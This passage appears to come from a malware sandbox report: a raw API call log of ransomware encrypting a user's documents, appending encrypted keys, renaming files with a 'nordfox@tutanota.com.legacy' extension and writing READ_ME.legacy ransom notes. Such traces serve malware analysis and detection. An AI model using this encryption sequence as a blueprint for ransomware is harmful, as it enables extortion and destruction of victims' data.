lpOverlapped=0x0) returned 1 [0140.912] CloseHandle (hObject=0x784) returned 1 [0140.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0140.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0140.912] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\MuxyA6CRwQsKy-m7bjh.ots" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\muxya6crwqsky-m7bjh.ots"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\MuxyA6CRwQsKy-m7bjh.ots.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\muxya6crwqsky-m7bjh.ots.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0140.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cc20 | out: hHeap=0x520000) returned 1 [0140.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d748 | out: hHeap=0x520000) returned 1 [0140.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0140.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0140.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0140.914] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0140.914] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0140.914] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\8pMg560.docx", dwFileAttributes=0x80) returned 1 [0140.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611570 [0140.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563a88 [0140.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611570 | out: hHeap=0x520000) returned 1 [0140.915] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\8pMg560.docx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\8pmg560.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x784 [0140.915] GetFileSizeEx (in: hFile=0x784, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=30690) returned 1 [0140.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x77e2) returned 0x612410 [0140.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x77e2) returned 0x2e61f38 [0140.916] ReadFile (in: hFile=0x784, lpBuffer=0x612410, nNumberOfBytesToRead=0x77e2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0x77e2, lpOverlapped=0x0) returned 1 [0140.917] SetFilePointer (in: hFile=0x784, lDistanceToMove=-30690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.917] WriteFile (in: hFile=0x784, lpBuffer=0x2e61f38*, nNumberOfBytesToWrite=0x77e2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x77e2, lpOverlapped=0x0) returned 1 [0140.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0140.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.918] SetFilePointer (in: hFile=0x784, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x77e2 [0140.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.918] WriteFile (in: hFile=0x784, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.918] WriteFile (in: hFile=0x784, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.918] CloseHandle (hObject=0x784) returned 1 [0140.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0140.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0140.918] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\8pMg560.docx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\8pmg560.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\8pMg560.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\8pmg560.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a88 | out: hHeap=0x520000) returned 1 [0140.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0140.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0140.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6a40 [0140.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0140.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0140.920] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0140.920] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0140.920] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\2kN3y.pps", dwFileAttributes=0x80) returned 1 [0140.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0140.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563b70 [0140.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0140.920] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\2kN3y.pps" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\2kn3y.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x784 [0140.921] GetFileSizeEx (in: hFile=0x784, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=64558) returned 1 [0140.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfc2e) returned 0x2e61f38 [0140.921] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfc2e) returned 0x2e71b70 [0140.921] ReadFile (in: hFile=0x784, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0xfc2e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0xfc2e, lpOverlapped=0x0) returned 1 [0140.923] SetFilePointer (in: hFile=0x784, lDistanceToMove=-64558, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.923] WriteFile (in: hFile=0x784, lpBuffer=0x2e71b70*, nNumberOfBytesToWrite=0xfc2e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e71b70*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfc2e, lpOverlapped=0x0) returned 1 [0140.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e71b70 | out: hHeap=0x520000) returned 1 [0140.923] SetFilePointer (in: hFile=0x784, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfc2e [0140.923] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.923] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.924] WriteFile (in: hFile=0x784, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.924] WriteFile (in: hFile=0x784, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.924] CloseHandle (hObject=0x784) returned 1 [0140.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0140.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0140.924] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\2kN3y.pps" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\2kn3y.pps"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\2kN3y.pps.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\2kn3y.pps.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b70 | out: hHeap=0x520000) returned 1 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6910 | out: hHeap=0x520000) returned 1 [0140.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0140.926] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5618880, ftCreationTime.dwHighDateTime=0x1d4c8b9, ftLastAccessTime.dwLowDateTime=0xd7305db7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd7305db7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60ca18 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0140.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.926] GetLastError () returned 0x0 [0140.926] SetLastError (dwErrCode=0x0) [0140.926] GetLastError () returned 0x0 [0140.926] SetLastError (dwErrCode=0x0) [0140.926] GetLastError () returned 0x0 [0140.926] SetLastError (dwErrCode=0x0) [0140.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0140.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc38 | out: hHeap=0x520000) returned 1 [0140.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c858 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c858 | out: hHeap=0x520000) returned 1 [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.927] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5618880, ftCreationTime.dwHighDateTime=0x1d4c8b9, ftLastAccessTime.dwLowDateTime=0xd7305db7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd7305db7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.927] GetLastError () returned 0x0 [0140.927] SetLastError (dwErrCode=0x0) [0140.927] GetLastError () returned 0x0 [0140.927] SetLastError (dwErrCode=0x0) [0140.927] GetLastError () returned 0x0 [0140.927] SetLastError (dwErrCode=0x0) [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0140.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0140.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0140.927] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad980, ftCreationTime.dwHighDateTime=0x1d4c5d9, ftLastAccessTime.dwLowDateTime=0x4b8bfb90, ftLastAccessTime.dwHighDateTime=0x1d4d5e1, ftLastWriteTime.dwLowDateTime=0x4b8bfb90, ftLastWriteTime.dwHighDateTime=0x1d4d5e1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="9k34", cAlternateFileName="")) returned 1 [0140.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0140.928] GetLastError () returned 0x0 [0140.928] SetLastError (dwErrCode=0x0) [0140.928] GetLastError () returned 0x0 [0140.928] SetLastError (dwErrCode=0x0) [0140.928] GetLastError () returned 0x0 [0140.928] SetLastError (dwErrCode=0x0) [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610388 [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.928] GetLastError () returned 0x0 [0140.928] SetLastError (dwErrCode=0x0) [0140.928] GetLastError () returned 0x0 [0140.928] SetLastError (dwErrCode=0x0) [0140.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0140.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.929] GetLastError () returned 0x0 [0140.929] SetLastError (dwErrCode=0x0) [0140.929] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6910 [0140.929] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\9k34\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0140.929] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6910 | out: hHeap=0x520000) returned 1 [0140.929] WriteFile (in: hFile=0x788, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.930] CloseHandle (hObject=0x788) returned 1 [0140.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0140.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0140.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0140.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0140.930] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35dadf0, ftCreationTime.dwHighDateTime=0x1d4cb1e, ftLastAccessTime.dwLowDateTime=0x992157d0, ftLastAccessTime.dwHighDateTime=0x1d4c5c7, ftLastWriteTime.dwLowDateTime=0x992157d0, ftLastWriteTime.dwHighDateTime=0x1d4c5c7, nFileSizeHigh=0x0, nFileSizeLow=0x1506d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MLZLWyGY_d.rtf", cAlternateFileName="MLZLWY~1.RTF")) returned 1 [0140.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.930] GetLastError () returned 0x0 [0140.930] SetLastError (dwErrCode=0x0) [0140.930] GetLastError () returned 0x0 [0140.931] SetLastError (dwErrCode=0x0) [0140.931] GetLastError () returned 0x0 [0140.931] SetLastError (dwErrCode=0x0) [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103b0 [0140.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103b0 | out: hHeap=0x520000) returned 1 [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.931] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded47ea0, ftCreationTime.dwHighDateTime=0x1d4cf23, ftLastAccessTime.dwLowDateTime=0x970447f0, ftLastAccessTime.dwHighDateTime=0x1d4cb1c, ftLastWriteTime.dwLowDateTime=0x970447f0, ftLastWriteTime.dwHighDateTime=0x1d4cb1c, nFileSizeHigh=0x0, nFileSizeLow=0x733a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="oAXar64VaXGXxW5P0ubX.pps", cAlternateFileName="OAXAR6~1.PPS")) returned 1 [0140.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.931] GetLastError () returned 0x0 [0140.931] SetLastError (dwErrCode=0x0) [0140.931] GetLastError () returned 0x0 [0140.931] SetLastError (dwErrCode=0x0) [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0140.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.931] GetLastError () returned 0x0 [0140.931] SetLastError (dwErrCode=0x0) [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cc20 [0140.931] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7305db7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd7305db7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd7305db7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.932] GetLastError () returned 0x0 [0140.932] SetLastError (dwErrCode=0x0) [0140.932] GetLastError () returned 0x0 [0140.932] SetLastError (dwErrCode=0x0) [0140.932] GetLastError () returned 0x0 [0140.932] SetLastError (dwErrCode=0x0) [0140.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0140.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0140.932] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa80f2830, ftCreationTime.dwHighDateTime=0x1d4d35a, ftLastAccessTime.dwLowDateTime=0xa475c9e0, ftLastAccessTime.dwHighDateTime=0x1d4d580, ftLastWriteTime.dwLowDateTime=0xa475c9e0, ftLastWriteTime.dwHighDateTime=0x1d4d580, nFileSizeHigh=0x0, nFileSizeLow=0x186af, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="sWEcHJFFIR.odt", cAlternateFileName="SWECHJ~1.ODT")) returned 1 [0140.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.932] GetLastError () returned 0x0 [0140.932] SetLastError (dwErrCode=0x0) [0140.932] GetLastError () returned 0x0 [0140.932] SetLastError (dwErrCode=0x0) [0140.932] GetLastError () returned 0x0 [0140.932] SetLastError (dwErrCode=0x0) 